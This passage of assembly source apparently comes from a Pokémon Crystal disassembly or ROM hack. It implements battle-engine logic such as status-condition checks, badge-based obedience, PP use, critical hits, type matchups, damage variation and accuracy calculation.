call CantMove
jp EndTurn
.sleep_bypass_moves
dw SNORE
dw SLEEP_TALK
dw -1
.not_asleep
ld hl, wEnemyMonStatus
bit FRZ, [hl]
jr z, .not_frozen
; Flame Wheel and Sacred Fire thaw the user.
ld a, [wCurEnemyMove]
ld hl, .thawing_moves
call CheckMoveInList
jr c, .not_frozen
ld hl, FrozenSolidText
call StdBattleTextbox
call CantMove
jp EndTurn
.thawing_moves
dw FLAME_WHEEL
dw SACRED_FIRE
dw -1
.not_frozen
ld hl, wEnemySubStatus3
bit SUBSTATUS_FLINCHED, [hl]
jr z, .not_flinched
res SUBSTATUS_FLINCHED, [hl]
ld hl, FlinchedText
call StdBattleTextbox
call CantMove
jp EndTurn
.not_flinched
ld hl, wEnemyDisableCount
ld a, [hl]
and a
jr z, .not_disabled
dec a
ld [hl], a
and $f
jr nz, .not_disabled
ld [hl], a
ld [wEnemyDisabledMove], a
ld hl, DisabledNoMoreText
call StdBattleTextbox
.not_disabled
ld a, [wEnemySubStatus3]
add a ; bit SUBSTATUS_CONFUSED
jr nc, .not_confused
ld hl, wEnemyConfuseCount
dec [hl]
jr nz, .confused
ld hl, wEnemySubStatus3
res SUBSTATUS_CONFUSED, [hl]
ld hl, ConfusedNoMoreText
call StdBattleTextbox
jr .not_confused
.confused
ld hl, IsConfusedText
call StdBattleTextbox
xor a
ld [wNumHits], a
ld de, ANIM_CONFUSED
call FarPlayBattleAnimation
; 50% chance of hitting itself
call BattleRandom
cp 50 percent + 1
jr nc, .not_confused
; clear confusion-dependent substatus
ld hl, wEnemySubStatus3
ld a, [hl]
and 1 << SUBSTATUS_CONFUSED
ld [hl], a
ld hl, HurtItselfText
call StdBattleTextbox
call HitSelfInConfusion
call BattleCommand_damagecalc
call BattleCommand_lowersub
xor a
ld [wNumHits], a
; Flicker the monster pic unless flying or underground.
ld de, ANIM_HIT_CONFUSION
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVar
and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND
jr nz, .no_flicker
call GetOppUnderwaterAddr
ld a, [hl]
and a
jr nz, .no_flicker
call z, PlayFXAnimID
.no_flicker
ld c, TRUE
call DoEnemyDamage
call BattleCommand_raisesub
call CantMove
jp EndTurn
.not_confused
ld a, [wEnemySubStatus1]
add a ; bit SUBSTATUS_ATTRACT
jr nc, .not_infatuated
ld hl, InLoveWithText
call StdBattleTextbox
xor a
ld [wNumHits], a
ld de, ANIM_IN_LOVE
call FarPlayBattleAnimation
; 50% chance of infatuation
call BattleRandom
cp 50 percent + 1
jr c, .not_infatuated
ld hl, InfatuationText
call StdBattleTextbox
call CantMove
jp EndTurn
.not_infatuated
; We can't disable a move that doesn't exist.
ld a, [wEnemyDisabledMove]
and a
jr z, .no_disabled_move
; Are we using the disabled move?
ld hl, wCurEnemyMove
cp [hl]
jr nz, .no_disabled_move
call MoveDisabled
call CantMove
jp EndTurn
.no_disabled_move
ld hl, wEnemyMonStatus
bit PAR, [hl]
ret z
; 25% chance to be fully paralyzed
call BattleRandom
cp 25 percent
ret nc
ld hl, FullyParalyzedText
call StdBattleTextbox
call CantMove
; fallthrough
EndTurn:
ld a, $1
ld [wTurnEnded], a
jp ResetDamage
MoveDisabled:
; Make sure any charged moves fail
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
res SUBSTATUS_CHARGED, [hl]
ld a, BATTLE_VARS_MOVE
call GetBattleVar
ld [wNamedObjectIndexBuffer], a
call GetMoveName
ld hl, DisabledMoveText
jp StdBattleTextbox
HitConfusion:
ld hl, HurtItselfText
call StdBattleTextbox
xor a
ld [wCriticalHit], a
call HitSelfInConfusion
call BattleCommand_damagecalc
call BattleCommand_lowersub
xor a
ld [wNumHits], a
; Flicker the monster pic unless flying or underground.
ld de, ANIM_HIT_CONFUSION
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVar
and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND
jr nz, .no_flicker
call GetOppUnderwaterAddr
ld a, [hl]
and a
jr z, .no_flicker
call z, PlayFXAnimID
.no_flicker
ld hl, UpdatePlayerHUD
call CallBattleCore
ld a, $1
ldh [hBGMapMode], a
ld c, TRUE
call DoPlayerDamage
jp BattleCommand_raisesub
BattleCommand_checkobedience:
; checkobedience
; Enemy can't disobey
ldh a, [hBattleTurn]
and a
ret nz
call CheckUserIsCharging
ret nz
; If we've already checked this turn
ld a, [wAlreadyDisobeyed]
and a
ret nz
xor a
ld [wAlreadyDisobeyed], a
; No obedience in link battles
; (since no handling exists for enemy)
ld a, [wLinkMode]
and a
ret nz
ld a, [wInBattleTowerBattle]
and a
ret nz
; If the monster's id doesn't match the player's,
; some conditions need to be met.
ld a, MON_ID
call BattlePartyAttr
ld a, [wPlayerID]
cp [hl]
jr nz, .obeylevel
inc hl
ld a, [wPlayerID + 1]
cp [hl]
ret z
.obeylevel
; The maximum obedience level is constrained by owned badges:
ld hl, wJohtoBadges
; risingbadge
bit RISINGBADGE, [hl]
ld a, MAX_LEVEL + 1
jr nz, .getlevel
; stormbadge
bit STORMBADGE, [hl]
ld a, 70
jr nz, .getlevel
; fogbadge
bit FOGBADGE, [hl]
ld a, 50
jr nz, .getlevel
; hivebadge
bit HIVEBADGE, [hl]
ld a, 30
jr nz, .getlevel
; no badges
ld a, 10
.getlevel
; c = obedience level
; d = monster level
; b = c + d
ld b, a
ld c, a
ld a, [wBattleMonLevel]
ld d, a
add b
ld b, a
; No overflow (this should never happen)
jr nc, .checklevel
ld b, $ff
.checklevel
; If the monster's level is lower than the obedience level, it will obey.
ld a, c
cp d
ret nc
; Random number from 0 to obedience level + monster level
.rand1
call BattleRandom
swap a
cp b
jr nc, .rand1
; The higher above the obedience level the monster is,
; the more likely it is to disobey.
cp c
ret c
; Sleep-only moves have separate handling, and a higher chance of
; being ignored. Lazy monsters like their sleep.
call IgnoreSleepOnly
ret c
; Another random number from 0 to obedience level + monster level
.rand2
call BattleRandom
cp b
jr nc, .rand2
; A second chance.
cp c
jr c, .UseInstead
; No hope of using a move now.
; b = number of levels the monster is above the obedience level
ld a, d
sub c
ld b, a
; The chance of napping is the difference out of 256.
call BattleRandom
swap a
sub b
jr c, .Nap
; The chance of not hitting itself is the same.
cp b
jr nc, .DoNothing
ld hl, WontObeyText
call StdBattleTextbox
call HitConfusion
jp .EndDisobedience
.Nap:
call BattleRandom
add a
swap a
and SLP
jr z, .Nap
ld [wBattleMonStatus], a
ld hl, BeganToNapText
jr .Print
.DoNothing:
; 4 random choices
call BattleRandom
and %11
ld hl, LoafingAroundText
and a ; 0
jr z, .Print
ld hl, WontObeyText
dec a ; 1
jr z, .Print
ld hl, TurnedAwayText
dec a ; 2
jr z, .Print
ld hl, IgnoredOrdersText
.Print:
call StdBattleTextbox
jp .EndDisobedience
.UseInstead:
; Can't use another move if the monster only has one!
ld a, [wBattleMonMoves + 1]
and a
jr z, .DoNothing
; Don't bother trying to handle Disable.
ld a, [wDisabledMove]
and a
jr nz, .DoNothing
ld hl, wBattleMonPP
ld de, wBattleMonMoves
ld b, 0
ld c, NUM_MOVES
.GetTotalPP:
ld a, [hli]
and PP_MASK
add b
ld b, a
dec c
jr z, .CheckMovePP
; Stop at undefined moves.
inc de
ld a, [de]
and a
jr nz, .GetTotalPP
.CheckMovePP:
ld hl, wBattleMonPP
ld a, [wCurMoveNum]
ld e, a
ld d, 0
add hl, de
; Can't use another move if only one move has PP.
ld a, [hl]
and PP_MASK
cp b
jr z, .DoNothing
; Make sure we can actually use the move once we get there.
ld a, 1
ld [wAlreadyDisobeyed], a
ld a, [w2DMenuNumRows]
ld b, a
; Save the move we originally picked for afterward.
ld a, [wCurMoveNum]
ld c, a
push af
.RandomMove:
call BattleRandom
maskbits NUM_MOVES
cp b
jr nc, .RandomMove
; Not the move we were trying to use.
cp c
jr z, .RandomMove
; Make sure it has PP.
ld [wCurMoveNum], a
ld hl, wBattleMonPP
ld e, a
ld d, 0
add hl, de
ld a, [hl]
and PP_MASK
jr z, .RandomMove
; Use it.
ld a, [wCurMoveNum]
ld c, a
ld b, 0
ld hl, wBattleMonMoves
add hl, bc
ld a, [hl]
ld [wCurPlayerMove], a
call SetPlayerTurn
call UpdateMoveData
call DoMove
; Restore original move choice.
pop af
ld [wCurMoveNum], a
.EndDisobedience:
xor a
ld [wLastPlayerMove], a
ld [wLastPlayerCounterMove], a
; Break Encore too.
ld hl, wPlayerSubStatus5
res SUBSTATUS_ENCORED, [hl]
xor a
ld [wPlayerEncoreCount], a
jp EndMoveEffect
IgnoreSleepOnly:
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
; Snore and Sleep Talk bypass sleep.
ld hl, .sleep_moves
call CheckMoveInList
ret nc
ld a, BATTLE_VARS_STATUS
call GetBattleVar
and SLP
ret z
; 'ignored orders…sleeping!'
ld hl, IgnoredSleepingText
call StdBattleTextbox
call EndMoveEffect
scf
ret
.sleep_moves
dw SNORE
dw SLEEP_TALK
dw -1
CheckUserIsCharging:
ldh a, [hBattleTurn]
and a
ld a, [wPlayerCharging] ; player
jr z, .end
ld a, [wEnemyCharging] ; enemy
.end
and a
ret
BattleCommand_doturn:
call CheckUserIsCharging
ret nz
call CheckUserImprisonedMove
jp c, .imprison
ld hl, wBattleMonPP
ld de, wPlayerSubStatus3
ld bc, wPlayerTurnsTaken
ldh a, [hBattleTurn]
and a
jr z, .proceed
ld hl, wEnemyMonPP
ld de, wEnemySubStatus3
ld bc, wEnemyTurnsTaken
.proceed
; If we've gotten this far, this counts as a turn.
ld a, [bc]
inc a
ld [bc], a
ld a, BATTLE_VARS_MOVE
call GetBattleVar
ld bc, STRUGGLE
call CompareMove
ret z
ld a, [de]
and 1 << SUBSTATUS_IN_LOOP | 1 << SUBSTATUS_RAMPAGE | 1 << SUBSTATUS_BIDE
ret nz
inc de
inc de
inc de
ld a, [de]
bit SUBSTATUS_UPROAR, a
ret nz
call .consume_pp
ld a, b
and a
jp nz, EndMoveEffect
ld a, BATTLE_VARS_MOVE_TYPE
call GetBattleVar
and CATEGORY_MASK
cp STATUS
jr nz, .not_status_move
ld a, [de]
bit SUBSTATUS_TAUNT, a
jp nz, .taunt_fail
.not_status_move
; SubStatus5
dec de
ld a, [de]
bit SUBSTATUS_TRANSFORMED, a
ret nz
farcall SetLastResortFlag
ldh a, [hBattleTurn]
and a
ld hl, wPartyMon1PP
ld a, [wCurBattleMon]
jr z, .player
; mimic this part entirely if wildbattle
ld a, [wBattleMode]
dec a
jr z, .wild
ld hl, wOTPartyMon1PP
ld a, [wCurOTMon]
.player
call GetPartyLocation
push hl
call CheckMimicUsed
pop hl
ret c
.consume_pp
ldh a, [hBattleTurn]
and a
ld a, [wCurMoveNum]
jr z, .okay
ld a, [wCurEnemyMoveNum]
.okay
ld c, a
ld b, 0
add hl, bc
ld a, [hl]
and PP_MASK
jr z, .out_of_pp
dec [hl]
ld b, 0
ret
.wild
ld hl, wEnemyMonMoves
ld a, [wCurEnemyMoveNum]
ld e, a
ld d, 0
add hl, de
ld a, [hl]
ld bc, MIMIC
call CompareMove
jr z, .mimic
ld hl, wWildMonMoves
add hl, de
ld a, [hl]
call CompareMove
ret z
.mimic
ld hl, wWildMonPP
call .consume_pp
ret
.out_of_pp
call BattleCommand_movedelay
; get move effect
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
; continuous?
ld hl, .continuousmoves
ld de, 1
call IsInArray
; 'has no pp left for [move]'
ld hl, HasNoPPLeftText
jr c, .print
; 'but no pp is left for the move'
ld hl, NoPPLeftText
.print
call StdBattleTextbox
ld b, 1
ret
.continuousmoves
db EFFECT_RAZOR_WIND
db EFFECT_SKY_ATTACK
db EFFECT_SKULL_BASH
db EFFECT_SOLARBEAM
db EFFECT_FLY
db EFFECT_ROLLOUT
db EFFECT_BIDE
db EFFECT_RAMPAGE
db -1
.imprison
.taunt_fail
call AnimateFailedMove
call PrintButItFailed
jp EndMoveEffect
CheckMimicUsed:
ldh a, [hBattleTurn]
and a
ld a, [wCurMoveNum]
jr z, .player
ld a, [wCurEnemyMoveNum]
.player
ld c, a
ld a, MON_MOVES
call UserPartyAttr
ld b, 0
add hl, bc
ld a, [hl]
ld bc, MIMIC
call CompareMove
jr nz, .mimic
ld a, BATTLE_VARS_MOVE
call GetBattleVar
call CompareMove
jr z, .mimic
scf
ret
.mimic
and a
ret
CheckUserImprisonedMove:
ldh a, [hBattleTurn]
and a
ld hl, wEnemyMonMoves
ld a, [wEnemySubStatus2]
jr z, .go
ld hl, wBattleMonMoves
ld a, [wPlayerSubStatus2]
.go
bit SUBSTATUS_IMPRISON, a
jr z, .nope
ld a, BATTLE_VARS_MOVE
call GetBattleVar
ld bc, STRUGGLE
call CompareMove
jr z, .nope
ld a, BATTLE_VARS_MOVE
call GetBattleVar
ld b, a
ld c, 4
.loop
ld a, [hli]
cp b
jr z, .yep
dec c
jr nz, .loop
.nope
and a
ret
.yep
scf
ret
BattleCommand_critical:
; critical
; Determine whether this attack's hit will be critical.
xor a
ld [wCriticalHit], a
; don't crit if opponent has lucky chant
ldh a, [hBattleTurn]
and a
ld hl, wEnemyLuckyChantCount
jr z, .got_lucky_chant
ld hl, wPlayerLuckyChantCount
.got_lucky_chant
ld a, [hl]
and a
ret nz
ld a, BATTLE_VARS_MOVE_POWER
call GetBattleVar
and a
ret z
ldh a, [hBattleTurn]
and a
ld hl, wEnemyMonItem
ld a, [wEnemyMonSpecies]
jr nz, .Item
ld hl, wBattleMonItem
ld a, [wBattleMonSpecies]
.Item:
; force crit if using Fling and holding Silver Leaf
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_FLING
jr nz, .skip_fling
ld a, [hl]
cp SILVER_LEAF
jr nz, .skip_fling
ld a, 1
ld [wCriticalHit], a
ret
.skip_fling
ld c, 0
ld b, [hl]
call GetPokemonIndexFromID
ld a, l
sub LOW(CHANSEY)
if HIGH(CHANSEY) == 0
or h
else
jr nz, .Farfetchd
if HIGH(CHANSEY) == 1
dec h
else
ld a, h
cp HIGH(CHANSEY)
endc
endc
jr nz, .Farfetchd
ld a, b
cp LUCKY_PUNCH
jr nz, .FocusEnergy
; +2 critical level
ld c, 2
jr .Tally
.Farfetchd:
ld a, l
sub LOW(FARFETCH_D)
if HIGH(FARFETCH_D) == 0
or h
else
jr nz, .FocusEnergy
if HIGH(FARFETCH_D) == 1
dec h
else
ld a, h
cp HIGH(FARFETCH_D)
endc
endc
jr nz, .FocusEnergy
ld a, b
cp STICK
jr nz, .FocusEnergy
; +2 critical level
ld c, 2
jr .Tally
.FocusEnergy:
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVar
bit SUBSTATUS_FOCUS_ENERGY, a
jr z, .CheckCritical
; +1 critical level
inc c
.CheckCritical:
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
call GetMoveIndexFromID
ld de, 2
ld hl, CriticalHitMoves
push bc
ld b, h
ld c, l
call IsInHalfwordArray
pop bc
jr nc, .ScopeLens
; +2 critical level
inc c
inc c
.ScopeLens:
push bc
call GetUserItem
ld a, b
cp HELD_CRITICAL_UP ; Increased critical chance. Only Scope Lens has this.
pop bc
jr nz, .Tally
; +1 critical level
inc c
.Tally:
ld hl, CriticalHitChances
ld b, 0
add hl, bc
call BattleRandom
cp [hl]
ret nc
ld a, 1
ld [wCriticalHit], a
ret
INCLUDE "data/moves/critical_hit_moves.asm"
INCLUDE "data/battle/critical_hit_chances.asm"
INCLUDE "engine/battle/move_effects/triple_kick.asm"
CheckAnyTypeMatchup:
ld hl, wTypeMatchupBuffer
push hl
push de
push bc
ld a, [wTypeMatchupBuffer + 2]
jr CheckTypeMatchup_join
BattleCheckTypeMatchup:
ld hl, wEnemyMonType1
ldh a, [hBattleTurn]
and a
jr z, CheckTypeMatchup
ld hl, wBattleMonType1
CheckTypeMatchup:
; There is an incorrect assumption about this function made in the AI related code: when
; the AI calls CheckTypeMatchup (not BattleCheckTypeMatchup), it assumes that placing the
; offensive type in a will make this function do the right thing. Since a is overwritten,
; this assumption is incorrect. A simple fix would be to load the move type for the
; current move into a in BattleCheckTypeMatchup, before falling through, which is
; consistent with how the rest of the code assumes this code works like.
push hl
push de
push bc
call GetCurrentMoveType2
CheckTypeMatchup_join:
ld d, a
ld b, [hl]
inc hl
ld c, [hl]
ld a, 10 ; 1.0
ld [wTypeMatchup], a
farcall TypeMatchupSpecialCases2
jr c, .End
ld hl, TypeMatchups
.TypesLoop:
ld a, [hli]
cp -1
jr z, .End
cp -2
jr nz, .Next
ld a, BATTLE_VARS_SUBSTATUS1_OPP
call GetBattleVar
bit SUBSTATUS_IDENTIFIED, a
jr nz, .End
jr .TypesLoop
.Next:
cp d
jr nz, .Nope
ld a, [hli]
cp b
jr z, .Yup
cp c
jr z, .Yup
jr .Nope2
.Nope:
inc hl
.Nope2:
inc hl
jr .TypesLoop
.Yup:
xor a
ldh [hDividend + 0], a
ldh [hMultiplicand + 0], a
ldh [hMultiplicand + 1], a
ld a, [hli]
ldh [hMultiplicand + 2], a
ld a, [wTypeMatchup]
ldh [hMultiplier], a
call Multiply
ld a, 10
ldh [hDivisor], a
push bc
ld b, 4
call Divide
pop bc
ldh a, [hQuotient + 3]
ld [wTypeMatchup], a
jr .TypesLoop
.End:
pop bc
pop de
pop hl
ret
BattleCommand_resettypematchup:
; Reset the type matchup multiplier to 1.0, if the type matchup is not 0.
; If there is immunity in play, the move automatically misses.
call BattleCheckTypeMatchup
ld a, [wTypeMatchup]
and a
ld a, 10 ; 1.0
jr nz, .reset
call ResetDamage
xor a
ld [wTypeModifier], a
inc a
ld [wAttackMissed], a
ret
.reset
ld [wTypeMatchup], a
ret
INCLUDE "engine/battle/ai/switch.asm"
INCLUDE "data/types/type_matchups.asm"
BattleCommand_damagevariation:
; damagevariation
; Modify the damage spread between 85% and 100%.
; Because of the method of division the probability distribution
; is not consistent. This makes the highest damage multipliers
; rarer than normal.
; No point in reducing 1 or 0 damage.
ld hl, wCurDamage
ld a, [hli]
and a
jr nz, .go
ld a, [hl]
cp 2
ret c
.go
; Start with the maximum damage.
xor a
ldh [hMultiplicand + 0], a
dec hl
ld a, [hli]
ldh [hMultiplicand + 1], a
ld a, [hl]
ldh [hMultiplicand + 2], a
; Multiply by 85-100%...
.loop
call BattleRandom
rrca
cp 85 percent + 1
jr c, .loop
ldh [hMultiplier], a
call Multiply
; ...divide by 100%...
ld a, $ff ; 100%
ldh [hDivisor], a
ld b, $4
call Divide
; ...to get .85-1.00x damage.
ldh a, [hQuotient + 2]
ld hl, wCurDamage
ld [hli], a
ldh a, [hQuotient + 3]
ld [hl], a
ret
BattleCommand_checkhit:
; checkhit
call .DreamEater
jp z, .Miss
call .Feint
jr z, .skip_protect
call .Protect
jp nz, .Miss
.skip_protect
call .DrainSub
jp z, .Miss
call .LockOn
ret nz
call .FlyDigMoves
jp nz, .Miss
call .ThunderRain
ret z
call .XAccuracy
ret nz
; Perfect-accuracy moves
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
ld hl, AlwaysHitEffects
ld de, 1
call IsInArray
ret c
call .StatModifiers
ld a, [wPlayerMoveStruct + MOVE_ACC]
ld b, a
ldh a, [hBattleTurn]
and a
jr z, .BrightPowder
ld a, [wEnemyMoveStruct + MOVE_ACC]
ld b, a
.BrightPowder:
push bc
call GetOpponentItem
ld a, b
cp HELD_BRIGHTPOWDER
ld a, c ; % miss
pop bc
jr nz, .skip_brightpowder
ld c, a
ld a, b
sub c
ld b, a
jr nc, .skip_brightpowder
ld b, 0
.skip_brightpowder
ld a, b
cp -1
jr z, .Hit
farcall GetGravityAccuracyMultiplier
call BattleRandom
cp b
jr nc, .Miss
.Hit:
ret
.Miss:
; Keep the damage value intact if we're using (Hi) Jump Kick.
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_JUMP_KICK
jr z, .Missed
call ResetDamage
.Missed:
ld a, 1
ld [wAttackMissed], a
ret
.DreamEater:
; Return z if we're trying to eat the dream of
; a monster that isn't sleeping.
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_DREAM_EATER
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
and SLP
ret
.Feint:
; Return z if using Feint and opponent is protected.
; Fail move if using Feint and opponent isn't protected.
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_FEINT
ret nz
call .Protect
jr z, .Feint_Fail
xor a
ret
.Feint_Fail
call AnimateAndPrintFailedMove
jp EndMoveEffect
.Protect:
; Return nz if the opponent is protected.
ld a, BATTLE_VARS_SUBSTATUS1_OPP
call GetBattleVar
bit SUBSTATUS_PROTECT, a
ret z
ld c, 40
call DelayFrames
; 'protecting itself!'
ld hl, ProtectingItselfText
call StdBattleTextbox
ld c, 40
call DelayFrames
ld a, 1
and a
ret
.LockOn:
; Return nz if we are locked-on and aren't trying to use Earthquake,
; Fissure or Magnitude on a monster that is flying.
ld a, BATTLE_VARS_SUBSTATUS5_OPP
call GetBattleVarAddr
bit SUBSTATUS_LOCK_ON, [hl]
res SUBSTATUS_LOCK_ON, [hl]
ret z
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVar
bit SUBSTATUS_FLYING, a
ld hl, .DigMoves
jr nz, .check_move_in_list
ld a, 1
and a
ret
.DrainSub:
; Return z if using an HP drain move on a substitute.
call CheckSubstituteOpp
jr z, .not_draining_sub
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_LEECH_HIT
ret z
cp EFFECT_DREAM_EATER
ret z
.not_draining_sub
ld a, 1
and a
ret
.FlyDigMoves:
; Check for moves that can hit underground/flying opponents.
; Return z if the current move can hit the opponent.
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVar
and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND
jr nz, .hit_hidden_move
call GetOppUnderwaterAddr
ld a, [hl]
and a
ret z
ld hl, .DiveMoves
jr .check_move_in_list
.hit_hidden_move
bit SUBSTATUS_FLYING, a
ld hl, .FlyMoves
jr nz, .check_move_in_list
ld hl, .DigMoves
.check_move_in_list
; returns z (and a = 0) if the current move is in a given list, or nz (and a = 1) if not
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
call CheckMoveInList
sbc a
inc a
ret
.FlyMoves:
dw GUST
dw WHIRLWIND
dw THUNDER
dw TWISTER
dw SKY_UPPERCUT
dw -1
.DigMoves:
dw EARTHQUAKE
dw FISSURE
dw MAGNITUDE
dw -1
.DiveMoves:
dw SURF
dw WHIRLPOOL
dw -1
.ThunderRain:
; Return z if the current move always hits in rain, and it is raining.
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_THUNDER
ret nz
ld a, [wBattleWeather]
cp WEATHER_RAIN
ret
.XAccuracy:
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVar
bit SUBSTATUS_X_ACCURACY, a
ret
.StatModifiers:
ldh a, [hBattleTurn]
and a
; load the user's accuracy into b and the opponent's evasion into c.
ld hl, wPlayerMoveStruct + MOVE_ACC
ld a, [wPlayerAccLevel]
ld b, a
ld a, [wEnemyEvaLevel]
ld c, a
jr z, .got_acc_eva
ld hl, wEnemyMoveStruct + MOVE_ACC
ld a, [wEnemyAccLevel]
ld b, a
ld a, [wPlayerEvaLevel]
ld c, a
.got_acc_eva
cp b
jr c, .skip_foresight_check
; if the target's evasion is greater than the user's accuracy,
; check the target's foresight status
ld a, BATTLE_VARS_SUBSTATUS1_OPP
call GetBattleVar
bit SUBSTATUS_IDENTIFIED, a
ret nz
.skip_foresight_check
; subtract evasion from 14
ld a, MAX_STAT_LEVEL + 1
sub c
ld c, a
; store the base move accuracy for math ops
xor a
ldh [hMultiplicand + 0], a
ldh [hMultiplicand + 1], a
ld a, [hl]
ldh [hMultiplicand + 2], a
push hl
ld d, 2 ; do this twice, once for the user's accuracy and once for the target's evasion
.accuracy_loop
; look up the multiplier from the table
push bc
ld hl, AccuracyLevelMultipliers
dec b
sla b
ld c, b
ld b, 0
add hl, bc
pop bc
; multiply by the first byte in that row...
ld a, [hli]
ldh [hMultiplier], a
call Multiply
; ... and divide by the second byte
ld a, [hl]
ldh [hDivisor], a
ld b, 4
call Divide
; minimum accuracy is $0001
ldh a, [hQuotient + 3]
ld b, a
ldh a, [hQuotient + 2]
or b
jr nz, .min_accuracy
ldh [hQuotient + 2], a
ld a, 1
ldh [hQuotient + 3], a
.min_accuracy
; do the same thing to the target's evasion
ld b, c
dec d
jr nz, .accuracy_loop
; if the result is more than 2 bytes, max out at 100%
ldh a, [hQuotient + 2]
and a
ldh a, [hQuotient + 3]
jr z, .finish_accuracy
ld a, $ff
.finish_accuracy
pop hl
ld [hl], a
ret
INCLUDE "data/battle/accuracy_multipliers.asm"
INCLUDE "data/moves/always_hit.asm"
BattleCommand_lowersub:
; lowersub
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
ret z
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVar
bit SUBSTATUS_CHARGED, a
jr nz, .already_charged
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_RAZOR_WIND
jr z, .charge_turn
cp EFFECT_SKY_ATTACK
jr z, .charge_turn
cp EFFECT_SKULL_BASH
jr z, .charge_turn
cp EFFECT_SOLARBEAM
jr z, .charge_turn
cp EFFECT_FLY
jr z, .charge_turn
.already_charged
call .Rampage
jr z, .charge_turn
call CheckUserIsCharging
ret nz
.charge_turn
call _CheckBattleScene
jr c, .mimic_anims
xor a
ld [wNumHits], a
inc a
ld [wKickCounter], a
ld hl, SUBSTITUTE
call GetMoveIDFromIndex
jp LoadAnim
.mimic_anims
call BattleCommand_lowersubnoanim
jp BattleCommand_movedelay
.Rampage:
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_ROLLOUT
jr z, .rollout_rampage
cp EFFECT_RAMPAGE
jr z, .rollout_rampage
cp EFFECT_UPROAR
jr z, .rollout_rampage
ld a, 1
and a
ret
.rollout_rampage
ld a, [wSomeoneIsRampaging]
and a
ld a, 0
ld [wSomeoneIsRampaging], a
ret
BattleCommand_moveanim:
; moveanim
call CheckAlreadyFailed
call BattleCommand_lowersub
call BattleCommand_moveanimnosub
jp BattleCommand_raisesub
BattleCommand_moveanimnosub:
ld a, [wAttackMissed]
and a
jp nz, BattleCommand_movedelay
ldh a, [hBattleTurn]
and a
ld de, wPlayerRolloutCount
ld a, BATTLEANIM_ENEMY_DAMAGE
jr z, .got_rollout_count
ld de, wEnemyRolloutCount
ld a, BATTLEANIM_PLAYER_DAMAGE
.got_rollout_count
ld [wNumHits], a
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_MULTI_HIT
jr z, .alternate_anim
cp EFFECT_CONVERSION
jr z, .alternate_anim
cp EFFECT_DOUBLE_HIT
jr z, .alternate_anim
cp EFFECT_POISON_MULTI_HIT
jr z, .alternate_anim
; cp EFFECT_SECRET_POWER
; jr z, .alternate_anim
cp EFFECT_TRIPLE_KICK
jr z, .triplekick
xor a
ld [wKickCounter], a
.triplekick
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
call SetMoveAnimationID
call PlaySelectedFXAnim
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld hl, .fly_dig_moves
call CheckMoveInList
ret nc
jp AppearUserLowerSub
.fly_dig_moves
dw FLY
dw DIG
dw DIVE
dw BOUNCE
dw SHADOW_FORCE
dw -1
.alternate_anim
ld a, [wKickCounter]
and 1
xor 1
ld [wKickCounter], a
ld a, [de]
cp 1
push af
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
call SetMoveAnimationID
pop af
jr z, .play_anim
xor a
ld [wNumHits], a
.play_anim
jp PlaySelectedFXAnim
BattleCommand_statupanim:
ld a, [wAttackMissed]
and a
jp nz, BattleCommand_movedelay
xor a
jr BattleCommand_statupdownanim
BattleCommand_statdownanim:
ld a, [wAttackMissed]
and a
jp nz, BattleCommand_movedelay
ldh a, [hBattleTurn]
and a
ld a, BATTLEANIM_ENEMY_STAT_DOWN
jr z, BattleCommand_statupdownanim
ld a, BATTLEANIM_WOBBLE
; fallthrough
BattleCommand_statupdownanim:
ld [wNumHits], a
xor a
ld [wKickCounter], a
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
call SetMoveAnimationID
jp PlaySelectedFXAnim
;BattleCommand_switchturn:
;; switchturn
;
; ldh a, [hBattleTurn]
; xor 1
; ldh [hBattleTurn], a
; ret
BattleCommand_raisesub:
; raisesub
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
ret z
call _CheckBattleScene
jp c, BattleCommand_raisesubnoanim
xor a
ld [wNumHits], a
ld a, $2
ld [wKickCounter], a
ld hl, SUBSTITUTE
call GetMoveIDFromIndex
jp LoadAnim
BattleCommand_failuretext:
; failuretext
; If the move missed or failed, load the appropriate
; text, and end the effects of multi-turn or multi-
; hit moves.
ld a, [wAttackMissed]
and a
ret z
call GetFailureResultText
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVarAddr
push hl
ld hl, .fly_dig_moves
call CheckMoveInList
pop hl
jr c, .fly_dig
; Move effect:
inc hl
ld a, [hl]
cp EFFECT_MULTI_HIT
jr z, .multihit
cp EFFECT_DOUBLE_HIT
jr z, .multihit
cp EFFECT_POISON_MULTI_HIT
jr z, .multihit
jp EndMoveEffect
.multihit
call BattleCommand_raisesub
